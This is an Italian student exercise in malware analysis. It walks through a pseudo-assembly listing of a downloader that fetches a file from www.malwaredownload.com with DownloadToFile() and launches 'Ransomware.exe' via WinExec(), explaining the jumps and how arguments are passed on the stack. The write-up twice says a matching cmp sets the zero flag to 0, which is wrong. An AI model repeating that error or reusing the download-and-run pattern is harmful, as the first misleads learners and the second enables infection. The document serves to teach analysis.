PROGETTO

S11-L5

Con riferimento al codice presente nelle slide successive, rispondere ai seguenti quesiti:
1. Spiegate, motivando, quale salto condizionale effettua il Malware.
2. Disegnare un diagramma di flusso (prendete come esempio la visualizzazione grafica di IDA) identificando i salti condizionali (sia quelli effettuati che quelli non effettuati). Indicate con una linea verde i salti effettuati, mentre con una linea rossa i salti non effettuati.
3. Quali sono le diverse funzionalità implementate all'interno del Malware?
4. Con riferimento alle istruzioni «call» presenti in tabella 2 e 3, dettagliare come sono passati gli argomenti alle successive chiamate di funzione . Aggiungere eventuali dettagli tecnici/teorici.

TRACCIA 1

00401048	cmp	EAX, 5
0040105B	jnz	loc 0040BBA0

Il primo salto condizionale non avverrà in quanto il valore di EAX è stato impostato precedentemente a 5, quindi attraverso l'istruzione cmp "compare" verrà impostato il flag a 0, non permettendo al salto di essere eseguito, in quanto la condizione del salto jnz è "jump if not zero".

00401064	cmp	EBX, 11
00401068	jz	loc 0040FFA0

Il secondo salto condizionale diversamente dal primo avverrà, in quanto il valore di EBX è stato impostato precedentemente a 10 e poi incrementato di 1, quindi attraverso l'istruzione cmp verrà impostato il flag a 0, andando così a soddisfare la condizione del salto jz "jump if zero".

TRACCIA 2

Locazione	Istruzione	Operandi	Note
00401040	mov	EAX, 5	
00401044	mov	EBX, 10	
00401048	cmp	EAX, 5	
0040105B	jnz	loc 0040BBA0	; tabella 2

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

0040105F	inc	EBX	
00401064	cmp	EBX, 11	
00401068	jz	loc 0040FFA0	; tabella 3

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

TRACCIA 3

Andando a osservare il codice possiamo notare come esso cerca di scaricare un file malevolo dall'URL contenuto nel registro EDI attraverso la funzione **DownloadToFile**(), successivamente cerca di avviare lo stesso attraverso la funzione **WinExec**(). A seguito di ciò possiamo presuppore che questo sia un downloader che cerca di scaricare e avviare un ransomware.

Locazione	Istruzione	Operandi	Note
0040BBA0	mov	EAX, EDI	EDI= www.malwaredownload.com
0040BBA4	push	EAX	; URL
0040BBA8	call	DownloadToFile ()	; pseudo funzione

Locazione	Istruzione	Operandi	Note
0040FFA0	mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop \Ransomware.exe
0040FFA4	push	EDX	; .exe da eseguire
0040FFA8	call	WinExec()	; pseudo funzione

TRACCIA 4

Istruzione	Operandi	Note
mov	EAX, EDI	EDI= www.malwaredownload.com
push	EAX	; URL
call	DownloadToFile ()	; pseudo funzione

In questa prima funzione possiamo notare come l'URL contenuto all'interno del registro EDI venga passato nel registro EAX per poi essere pushato nello stack ed essere utilizzato come argomento dalla funzione per scaricare il suddetto file.

Istruzione	Operandi	Note
mov	EDX, EDI	EDI: C:\Program and Settings \Local User\Desktop\Ransomware.exe
push	EDX	; .exe da eseguire
call	WinExec()	; pseudo funzione

Nella seconda funzione avviene una cosa simile, il path del malware scaricato, contenuto nel registro EDI viene passato nel registro EDX per poi essere pushato nello stack ed essere utilizzato come argomento dalla funzione per avviare il processo.

*Il registro EDI è il registro di indice di destinazione ed è spesso utilizzato come puntatore a una destinazione.